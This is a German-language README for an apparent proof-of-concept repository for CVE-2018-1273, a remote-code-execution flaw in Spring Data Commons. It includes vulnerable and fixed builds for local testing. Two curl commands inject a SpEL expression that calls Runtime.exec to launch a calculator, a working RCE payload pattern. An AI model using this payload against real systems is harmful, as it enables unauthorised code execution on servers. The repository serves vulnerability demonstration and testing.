hdgokani/cve-2018-1273PoC für CVE-2018-1273: Spring Data Commons property binder RCE via manipulierte Anfrageparameter gegen REST-Endpunkte. Enthält anfällige und korrigierte Versionen zum Testen.
Spring Data Commons, Versionen vor 1.13 bis 1.13.10, 2.0 bis 2.0.5 sowie ältere nicht unterstützte Versionen, enthalten eine Property-Binder-Schwachstelle, die durch unsachgemäße Neutralisierung spezieller Elemente verursacht wird. Ein nicht authentifizierter entfernter Angreifer kann speziell gestaltete Anfrageparameter gegen Spring Data REST-gestützte HTTP-Ressourcen liefern oder die projektionsbasierte Anforderungsnutzlastbindung von Spring Data verwenden, was zu einer Remote-Codeausführung führen kann.
Weitere Informationen hier
Die Anwendung kann mit der angreifbaren Version oder der korrigierten Version von Spring Data Commons getestet werden.
mvn spring-boot:run
mvn spring-boot:run -Dfixed
Führen Sie den folgenden Befehl aus, um zu prüfen, ob die Schwachstelle ausgenutzt werden kann:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
Erstellt von https://www.arima.eu
